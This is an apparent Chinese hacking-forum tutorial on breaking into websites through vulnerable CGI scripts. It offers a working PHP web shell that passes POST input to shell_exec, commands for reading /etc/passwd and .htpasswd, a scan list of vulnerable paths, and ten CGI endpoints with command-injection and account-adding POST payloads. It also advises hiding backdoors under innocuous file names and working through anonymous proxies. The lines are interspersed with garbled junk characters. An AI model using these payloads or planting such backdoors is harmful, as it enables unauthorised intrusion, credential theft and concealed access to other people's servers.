CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
0 d" [8 y2 [, e7 F大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
4 H$ T- S4 E5 Q& s这里让我感觉 很有技术交流的感觉
我会长长来玩的
# {4 t5 q6 Y6 S前言:
2 v! h/ O6 Z. v3 v5 D以下讲解针对欧美日本网站
, N% b  y% m6 z) U; ^- v0 g; E當我們在做滲透分析的時候 方法有很多
! L6 v8 N3 a' a1 |6 n7 L- Q: {我门都知道 国外伺服器大多是linux 平台
- Y9 `* u9 Z( a  v4 u所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

$ w7 i0 _8 M  I只是个人在实务上一些经验
; k( J! `6 P+ Q6 B% f% u) J" q9 J写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
讲解一下
, ?; z, r% Y6 B8 E2 K让没有基础的人很容易上手
9 h$ s) X3 l1 P7 K
6 `# e- _" H* J* `0 {7 |1 A( Z以下内容跟帖回复才能看到
6 g6 `$ w, G8 [* G==============================
# z8 f0 w+ j! O0 S- S
4 o& T( t# n9 x第1部份: 何谓Shell?
6 @7 q0 Q7 b2 _3 u3 n, X0 GShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
/ p; T* q5 z1 n& a5 I9 ^意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
/ b1 ?( x4 @+ o. ]  C2 A
( w2 |# f- u- @/ r对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

0 A! `( {1 y+ Z: Y3 c+ `( Y第2部份: Unix 指令
以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
& Y: y$ w0 S, u- {; s6 bls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
5 I: g7 e1 i9 l4 N; Pcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
: ~" ^+ v# ]4 V6 A/ swho: 显示谁login 至系统
man: 显示指令用法  
0 G+ W6 d4 k" ?/ _; Aman ls: 显示ls这指令的用法  
: m: v- u* w' U9 _; i& B/ \* W5 Hmkdir 建立目录
rmdir 删除目录
mv 移动档案
rm 删除档案

1 v9 D8 ]: X+ Z' B第3部份: Shell的使用
3 a  p7 ~1 N5 |4 d/ f. g  M' W例如:
. X9 t% G5 o% ?! s& Bhttp://site.com/refer.php
5 F: t8 @* H, B; u, R这是我的後门, 原代码如下:
! p7 [3 {7 I) \4 e  l<Form Action="#" Method="POST">
/ h3 }4 D, i& b<Input type="text" name="cmd">
+ Y" j! N( D  @5 `; w9 U% l. _<Input type="Submit">
</Form>
<?php
; h8 O, V1 }' J% N) X/ H( F$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
2 [) N4 v' j* C, G! D1 `6 Becho $Output;
?>
输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

9 V7 }5 y. H4 u: J- C6 X% p0 U第4部份: 注意事项
- 使用匿名代理, 保障自己
% t# V0 f5 {6 Z- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
" C8 E6 o4 Y' v" T- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
# g( E! h8 j; v$ }7 m$ C- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
开始讲解脚本入侵过程:
在这里提供一些方法思路让大家学习一下

1.一开始对一个网站进行cgi漏洞扫描
& b# i: y3 p! G8 f! W" s我们需要的东西有
扫洞工具 如:triton..等等
/ I; g& ?0 o& l3 b' n% ZE表
" r7 \* ^' b2 @4 Z9 Z8 L如
& F5 }$ k' _- a: z5 H1 d3 ~1 a/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
/Admin_files/order.log
1 V1 D/ a, Z$ E0 @* {/orders/mountain.cfg
/cgi-sys/cart.pl
( d* o; J; t; i- u7 \/ ~* Z8 N/scripts/cart.pl
/htbin/cart.pl
# S1 F0 p7 h4 QE表来源可以是网路收寻或是自己的0 day
  p7 s& h) r& g
2 h& G# h4 b8 |& [$ _7 ^6 \2.怎样确认扫到的洞 是真的还假的?
' B8 ~' |5 G9 U, ~/ k9 E! T举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
2 O/ o9 _5 g( w7 q% k& o+ I3 c一般都是在IE里先看一下的,记住这个返回码哦
3 T' R( s0 h! E& O  E5 @ERROR:This script should be referenced with a METHOD of POST.
5 V: B- F: O5 C2 T) t, o0 g6 ~+ S6 r没有返回一定是假的
3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等
5 O, ~* s& |1 |* p7 Z7 s
0 Y* o3 r6 m6 K; q& _以下我提供10个 cgi 洞以及使用方法post
让大家可以针对网站去做扫描  
% h  F; S) a3 p. G/index.cgi
, U' d7 r  z! ?wei=ren&gen=command
/passmaster.cgi
; J3 S3 F2 z0 [: x; C0 ZAction=Add&Username=Username&Password=Password
& f. r7 e3 y1 p. b$ D  q/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
5 b$ d5 s+ L. U  d' f9 W( u/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
) k! T7 Q& d; W$ Iuser=username&pass=Password&confirm=Password
/ccbill-local.asp
; e* S% V- J; Y8 \/ t+ _6 ipost_values=username:password
/count.cgi
pinfile=|echo;ls -la;exit|
/recon.cgi
  [2 m4 K, v9 r/ o' L; U/recon.cgi?search
& M/ K. ~9 g/ Fsearchoption=1&searchfor=|echo;ls -al;exit|
1 k0 {- m0 n# W5 j4 Y% g; [6 K/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
# H. @$ R# O  X0 P/af.cgi_browser_out=|echo;ls -la;exit;|
" D' A- s1 l1 @4 Y0 X4 A# E
8 j! N! }' U5 L2 v0 G今天就讲到这  感谢大家支持
4 l8 Z# a, L5 M